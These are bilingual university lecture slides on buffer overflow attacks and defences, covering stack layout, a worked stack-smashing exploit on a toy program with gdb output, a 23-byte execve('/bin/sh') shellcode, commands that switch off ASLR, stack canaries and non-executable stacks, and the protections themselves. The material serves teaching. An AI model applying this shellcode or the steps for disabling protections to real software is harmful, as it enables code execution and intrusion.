

# **Module II. Internet Security**

# Chapter 5 Network Attack and Defence

**Web Security: Theory & Applications** 

School of Data & Computer Science, Sun Yat-sen University

# **Outline**

## **□** 5.1 Introduction

- Network Security Crisis
- Hacking & Hackers
- Network Threats
- Steps of Network Attack
- Methods of Network Defense

#### **□** 5.2 Network Attacks

- Computer Network Attack
- Common Types of Network Attack
- Port Scan
- Idle Scan

## ☐ 5.3 Password Cracking

- The Vulnerability of Passwords
- Password Selection Strategies
- Password Cracking
- Password Cracking Tools



# **Outline**

- ☐ 5.4 Buffer Overflow
  - ◆ Background
  - Classification
  - Practicalities
  - Protection
- ☐ 5.5 Spoofing Attack
  - ARP Cache Poisoning
  - DNS Spoofing
  - Web Spoofing
  - ◆ IP Spoofing

## 5.4.1 Background

#### □ What is Buffer Overflow

- ◆ A buffer overflow occurs when a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory.
- ◆ 应用程序的外部输入没有经过检查就被插入内存,形成缓冲区溢出 的脆弱性。
- ◆ 如果插入的数据长度超过为此分配的内存空间的长度,将发生缓冲 区溢出事件。
- ◆ 缓冲区溢出是计算机历史上被利用的第一批安全错误之一,其中最著名的例子是1988年利用 fingerd 漏洞的蠕虫,它曾造成了全世界6000多台网络服务器的瘫痪。目前,缓冲区溢出仍然是最经常发生也是最危险的脆弱点,针对缓冲区溢出的攻击常常是系统入侵的基础。

## 5.4.1 Background

## **☐** Destruction By Buffer Overflow

- ◆ The vulnerability of buffer overflow can be utilized to
  - ♦ Alter the flow control of the program
    - Cause programs to crash, or
    - Execute arbitrary pieces of code.
  - ♦ Modify the raw data used by the application.
- ◆ 缓冲区溢出的内容覆盖在合法数据上,属于一种内存级别上的篡改 ,带来的危害有:
  - ◇ 程序的控制流被修改
    - 。导致程序崩溃,造成拒绝服务;或者转向执行一段嵌入的恶意代码,比如获得管理员权限的一段 shellcode。
  - ◇ 程序运行的原始数据被修改
    - 。 得到与预期不同的计算结果。



## **5.4.1 Background**


## □ Process Virtual Memory

- ◆ For Windows, each process maps either 2<sup>32</sup> or 2<sup>64</sup> bytes of virtual memory, depending on whether the OS is running in 32 or 64-bit mode. This works out to 4GB or 16TB memory space
- ◆ The virtual memory is used as address space that can be mapped to actual memory resources.
- \*\* The size of physical or virtual space depends on CPU, OS, and Architecture of mainboards.



#### **5.4.1 Background**


☐ Layout of Structure of the Virtual Address Space on IA-32



## 5.4.1 Background

## □ Process Virtual Memory

- ◆ 每个进程得到一个虚拟地址空间,分为 Kernel、stack、mmap、heap、.bss & .data、.txt 6个部分:
  - ◇ Kernel: 由操作系统分配,是进程相关的运行环境。



Arrangement of the Linux kernel in RAM memory



## 5.4.1 Background


## □ Process Virtual Memory

- ◆ 每个进程得到一个虚拟地址空间,分为 Kernel、stack、mmap、heap、.bss & .data、.txt 6个部分:
  - ◇ stack: 保存进程运行过程中所调用函数的相关信息,如局部变量、参数、返回值等;遵循先进后出的原则,分配时向低地址扩展。
  - ♦ mmap: 内存映射 (linux 2.6.7 后向低地址扩展)。
  - ♦ heap: 保存进程运行中动态分配的数据 (如 malloc, new 申请的数据空间),分配时向高地址扩展。
  - ◇ .bss、.data: 都是堆结构,但其空间在编译时预先分配。
    - 。.bss 保存未初始化的全局变量和静态变量 (包括静态全局变量和静态局部变量);
    - o.data 保存初始化的 (0值) 全局变量和静态变量。
  - ◆ .text: 只读结构的代码段,保存程序的机器代码和常量。

## **5.4.1 Background**

## □ Process Virtual Memory

• Frame structure of a stack



ESP 指向栈顶 EBP 用于访问局部变量 stack 结构向低地址扩展



## **5.4.1 Background**

#### **□** Buffers

- ◆ 缓冲区可以位于 stack 段或 heap 段,也可以位于 .bss 段或 .data 段 ( 和 heap 相同,向高地址填充)。
- ◆ C、C++ 语言的字符串以 '\0' 作为结束符,没有任何的边界检查,很 容易因为使用不当或疏忽造成缓冲区溢出。
- Example.

```
char *strcpy( char *dest, const char *src)
{
    char *tmp=dest;
    while( ( *dest++ = *src++) != '\0');
    return tmp;
}
```

## **5.4.1 Background**

#### **□** Buffers

• Example.

```
#include<stdio.h>
#include<string.h>
void main()
 int access;
 char password[4];
 while(1)
   access=0;
   scanf("%s",password);
   if (strcmp(password,"2012") == 0)
     access = 1;
   if (access != 0)
     printf("Welcome back\n");
   else
     printf("Error\n");
```

#### 5.4.1 Background

#### **□** Buffers

- Example.
- ◆ Run


```
chan@chan-desktop:~/桌面/ex$ gcc 1.c -o a
chan@chan-desktop:~/桌面/ex$ ./a
2012
Welcome back
123
Error
1234
Error
12345
Welcome back
```

◆ 这是一个有漏洞的模拟登录系统。当输入的字符串位数大于4时,几乎任何的口令都能通过验证。这是因为此时的 password 发生溢出,覆盖了地址位于其上邻的 access 变量。事实上,当输入字符串位数等于4时就已发生缓冲区溢出,只是刚好溢出的内容是 '\0' (ASII码 00),所以 access 仍然等于0,验证失败,系统仍"正常"工作。

# 5.4.1 Background

- **□** Buffers
  - Example.






Low address



# 5.4.1 Background

- **□** Buffers
  - Example.






Low address



# 5.4.1 Background

- **□** Buffers
  - Example.





Low address



## **5.4.1 Background**

## ☐ Causes of Buffer Overflow Vulnerability

- No boundary checking
- Mixing of the storage for data and the storage for controls.
  - ♦ An overflow in the data part can affect the control flow of the program, because an overflow can change the return address.


## **5.4.2 Classification**

- ☐ Two Kinds of Buffer Overflow
  - Stack buffer overflow
  - Heap buffer overflow

## **5.4.2 Classification**

#### ☐ Stack Buffer Overflow

• Frame structure of a stack



ESP 指向栈顶 EBP 用于访问局部变量 stack 结构向低地址扩展



## **5.4.2 Classification**

#### ☐ Stack Buffer Overflow

- Constructing of a stack frame
- Example.

```
#include <stdio.h>
    void function(int m, int n)
    {
        int a;
        char b[5];
    }
    int main()
    {
        function(2, 3);
        return 0;
    }
}
```



## **5.4.2 Classification**

## ☐ Stack Buffer Overflow

Constructing of a stack frame

```
0x08048415 <+6>: sub $0x10,%esp

=> 0x08048418 <+9>: movl $0x3,0x4(%esp)

0x08048420 <+17>: movl $0x2,(%esp)

0x08048427 <+24>: call 0x80483e4 <function>

0x0804842c <+29>: mov $0x0,%eax
```

3 2 0x0804842c



## **5.4.2 Classification**

#### ☐ Stack Buffer Overflow

Constructing of a stack frame

```
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $0x28,%esp
```

◆ function 被调用时,首先把当前 EBP 压栈,再把 ESP 的值赋予 EBP,最后为局部变量 (按顺序) 申请足够的空间。此时的空间栈 如下:

3
2
0x0804842c
pre EBP
a
b



#### **5.4.2 Classification**

- ☐ Stack Buffer Overflow
  - Constructing of a stack frame

0x0804840d <+41>: leave 0x0804840e <+42>: ret

◆ function 执行完后, leave 指令恢复 EBP 和 ESP 被调用前的值, 栈帧被弹出。Ret 指令把下一指令的地址 (0x0804842c) 赋给指令地址寄存器 EIP。

#### **5.4.2 Classification**

## ☐ Heap Buffer Overflow

- ◆ Heap 的缓冲区溢出跟 stack 的类似,但 heap 内没有存放控制信息 (比如返回地址)。因此 heap 的缓冲区溢出的结果只能改写相邻变量的值。
- ◆ 堆结构 (包括 heap 段、.bss 段和 .data 段) 向高地址扩展。

#### **5.4.3 Practicalities**

## ☐ Changing the Flow Control of a Process

- ◆ Finding the *address of buffer* that can be exploited
- ◆ Finding the address of the memory that stores the *return address*
- Replacing it with the address of code you want to execute by overflowing the buffer



#### **5.4.3 Practicalities**

## ☐ Changing the Flow Control of a Process

• Example.

```
#include "stdio.h"
                                      void copy(const char *input)
#include "string.h"
                                      { char buf[10];
char code[]=
                                         strcpy(buf, input);
"\x41\x41\x41\x41\x41"
                                         printf("%s \n", buf);
"\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\
                                      void bug(void)
"\x41\x41\x41"
                                      { printf("I shouldn't have appeared\n");
"\x41\x41\x41\x41"
                                      int main(int argc, char *argv[])
"\x82\x84\x04\x08"
"\x00";
                                      { copy(code);
                                         return 0;
```

◆ The target is to make main jump to "bug" after "strcpy". The position of next instruction after "strcpy" is 0x080484ab

```
(qdb) disasse main
Dump of assembler code for function main:
   0x08048496 <+0>:
                        push
                               %ebp
   0x08048497 <+1>:
                               %esp,%ebp
                        mov
                        and
                               $0xffffffff0,%esp
   0x08048499 <+3>:
                               $0x10,%esp
   0x0804849c <+6>:
                        sub
                               $0x804a01c,(%esp)
   0x0804849f <+9>:
                        movl
   0x080484a6 <+16>:
                        call
                               0x8048454 <copy>
   0x080484ab <+21>:
                               $0x0,%eax
                        mov
```

Get the value of esp

◆ Check the stack content before "strcpy", find the 0x080484ab

```
(gdb) x/20x 0xbfffff3a0
0xbfffff3a0:
                0x00283ff4
                                  0x08049ff4
                                                   0xbffff3b8
                                                                    0x08048330
0xbffff3b0:
                                                   0xbfffff3e8
                                                                    0x080484e9
                0x0011e0c0
                                  0x08049ff4
0xbffff3c0:
                0x00284324
                                  0x00283ff4
                                                   0xbffff3e8
                                                                    0x080484ab
```

Check the jump address (bug) 0x08048482

```
(gdb) disass bug
Dump of assembler code for function bug:
0x08048482 <+0>: push %ebp
```

Next step: overflow the stack and jump to the "bug"

```
(gdb) s
            printf("%s \n",buf);
(qdb) x/20x 0xbfffff3a0
0xbfffff3a0:
                 0xbffff3b6
                                 0x0804a01c
                                                  0xbffff3b8
                                                                   0x08048330
0xbffff3b0:
                0x0011e0c0
                                 0x41419ff4
                                                  0x41414141
                                                                   0x41414141
0xbfffff3c0:
                0x41414141
                                                                   0x08048482
                                 0x41414141
                                                  0x41414141
```

Result as

```
chan@chan-desktop:~/桌面/ex$ ./a.out
AAAAAAAAAAAAAAAAAAAAAA
I shouldn't have appeared
段错误
```

◆ 上面出现的段错误是因为对 "bug" 的调用不是由 call 指令激活,下一指令的地址没有压栈,以至于 "bug" 执行完毕后跳转到一个不能执行的地址。尽管如此,攻击目的已经达成。

#### **5.4.3 Practicalities**

- ☐ Practice.
  - Finish the attack as shown above, tell me how the stack frame changed.
  - If you are on GNU, you need to do

```
sudo sysctl -w kernel.randomize_va_space=0
and use the option
```

-fno-stack-protector

for gcc compiler.

#### **5.4.3 Practicalities**

#### **☐** Executing Malicious code

- Finding the address of buffer that can be exploited
- ◆ Finding the address of the memory that stores the *return address*
- Replacing it with the address of shell code you want to execute by overflowing the buffer

#### **5.4.3 Practicalities**

## □ Executing Malicious code

• Example.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
//本段初始化成 shellcode 的机器
    码
int bof(char *str)
{ char buffer[30];
  printf("%p\n", &buffer);
  strcpy(buffer, str);
  return 0;
```

```
int main()
{ char str[56];
  int i;
  strcpy(str, shellcode);
  for (i=0;i<18;i++)
    str[strlen(shellcode)+i]='a';
  i=strlen(shellcode)+i;
  strcpy(&str[i], "\x82\xf3\xff\xbf");
  bof(str);
  printf("Returned Properly\n");
  return 0;
```



#### **5.4.3 Practicalities**

#### □ Executing Malicious code

- About shellcode: linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) of 23 bytes, see also:
- http://www.hackbase.com/subject/2010-01-04/17401.html

```
char shellcode[] =
1.
2. "\x6a\x0b"
                                // push $0xb
  "\x58"
3.
                                // pop %eax
    "\x99"
4.
                                // cltd
5. "\x52"
                                // push %edx
6. "\x68\x2f\x2f\x73\x68"
                                // push $0x68732f2f
7. \sqrt{x68} \times 2f \times 62 \times 69 \times 6e
                               // push $0x6e69622f
8. "\x89\xe3"
                               // mov %esp, %ebx
    "\x52"
                                // push %edx
9.
10. "\x53"
                                // push %ebx
11. "\x89\xe1"
                                // mov %esp, %ecx
12. "\xcd\x80";
                                // int $0x80
```

#### **5.4.4 Protection**

- ☐ Some Methods to Protect against Buffer Overflow
  - Safer Language
  - Libsafe
  - Canary Value
  - Address Space Layout Randomization
  - Non-executable Program Memory

#### **5.4.4 Protection**

## **□** Safer Language

- ◆ Use higher level language (eg. Objective-C, Java, LISP).
- Perform additional boundary checks at runtime.
- Disadvantages
  - ♦ Overheads could be significant.
  - ♦ Tons of C/C++ software need to be rewritten.

#### **5.4.4 Protection**

## **□** Safer Language

- ◆ 从编程者的角度看,程序员或许可以选择更为安全的语言。Java 和 Objective-C (e.g., used in iOS) 等语言都提供了缓冲区的边界检查,这 样可以从根本上抵抗缓冲区溢出攻击。
- ◆ 缺点
  - ◇ 提供这样的边界检测可能需要付出相当的开销。
  - ◆ 有太多以 C、C++ 等语言编写的程序,全部重写并不现实。



#### **5.4.4 Protection**

#### ☐ Libsafe

- ◆ Libsafe is a dynamic library that overrides some of the unsafe functions of the lib C.
- ◆ Libsafe 是一个动态函数链接库,它在编译时自动检测程序中不安全的 C标准库函数,并将其替换为含边界检测的函数,而不改变语义。
- Disadvantages
  - ♦ Does not prevent local variables from being overwritten.
  - ♦ Only protects calls to functions in the standard C library.
    - 。 只检测 C 标准库函数。



#### **5.4.4 Protection**

## □ Canary Value

- Known values (Canary Values) are placed between a buffer (user data)
   and control data on the stack to monitor buffer overflows
- Examples.
  - ♦ StackGuard, by Crispin Cowan, for GCC-GNU Compiler Collection
  - ♦ Stack Smashing Protector (SSP), by Hiroaki Etoh of IBM
- Disadvantages
  - ♦ Need to recompile programs which requires source codes.
  - ♦ Checks only when functions return.



#### **5.4.4 Protection**

## □ Canary Value

- ◆ Canary Value 是在编译阶段被植入栈中、位于存储数据和控制信息之间的值,用于检测缓冲区溢出。任何企图通过缓冲区溢出改变栈的控制信息的攻击,都将对 Canary Value 产生覆盖。每当函数返回时,监视进程都将判断对应的 Canary Value 是否改变,从而判定是否发生了缓冲区溢出攻击。
  - ◇ 因为是在编译期间插入的值,需要对受保护的软件的源码进行 再编译,没有源码的软件无法实现保护。同时,检测只在函数 返回时进行,若攻击者在此之前就已达到目的,则防护措施失 去意义。
- For GNU, use the compile option to turn off this protection:
   -fno-stack-protector



## **5.4.4 Protection**

# ☐ Canary Value

◆ Two kinds of stack frame using Canary Value

Return address
Canary value
Pre EBP
buffer
•

Return address

Pre EBP

Canary value

buffer

StackGuard

SSP

#### **5.4.4 Protection**

## □ Canary Value

- ◆ StackGuard 和 Stack Smashing Protector (SSP) 都是 Canary Value 的实现实例,用于 GNU Compiler Collection。前者的 Canary Value 介于 return address 和 pre EBP 之间,仅保护 return address;后者介于 pre EBP 和局部变量之间,保护 return address 和 pre EBP。
- ◆ 编译器 gcc 缺省开启 SSP, 下列编译选项可屏蔽该功能:

-fno-stack-protector



#### **5.4.4 Protection**

## □ Address Space Layout Randomization

- Introduces randomness into the address space
- Increases security by increasing the search space
- Forces attackers to tailor the exploitation attempt to the individual system
- For GNU, use the following commands to turn off the protection :
   sudo sysctl –w kernel.randomize\_va\_space=0

#### **5.4.4 Protection**

- □ Address Space Layout Randomization
  - ◆ 进程地址空间随机化使每次运行的进程的地址空间都不一样,加大了攻击者定位的困难,强迫攻击者对每次攻击做个性化的处理。
  - ◆ 增加了攻击者实行缓冲区溢出攻击的难度,但不能阻止攻击。
  - ◆ GNU 默认开启进程地址空间随机化,下列命令可以关闭该功能:

sudo sysctl -w kernel.randomize\_va\_space=0



#### **5.4.4 Protection**

- Non-executable Program Memory
  - Prevent execution of code on the stack or the heap
  - Examples.
    - ♦ Exec-Shield, PaX, Openwall
  - Disadvantages
    - ♦ Does not protect against return-to-libc attacks
    - ♦ Keeps some dynamic languages, such as LISP and Objective-C, from running properly
  - For GNU, use the compile option to turn off the protection:

-z execstack



#### **5.4.4 Protection**

- □ Non-executable Program Memory
  - ◆ 将栈和堆的内容设置为不可运行,可以抵抗大部分溢出攻击。但对 已运行嵌入代码的攻击无效。
    - ◆ 代表机制有 Exec-shield、PaX、Openwall。前两者保护堆和栈, 后者仅保护堆。
    - → 某些程序语言如 LISP, Objective-C 等为追求效率会把一些代码放 进堆栈。若堆栈不可运行,则这些语言功能无法工作。
  - ◆ Ubuntu 默认开启 Exec-shield 保护, 下列编译选项可屏蔽该功能:

-z execstack



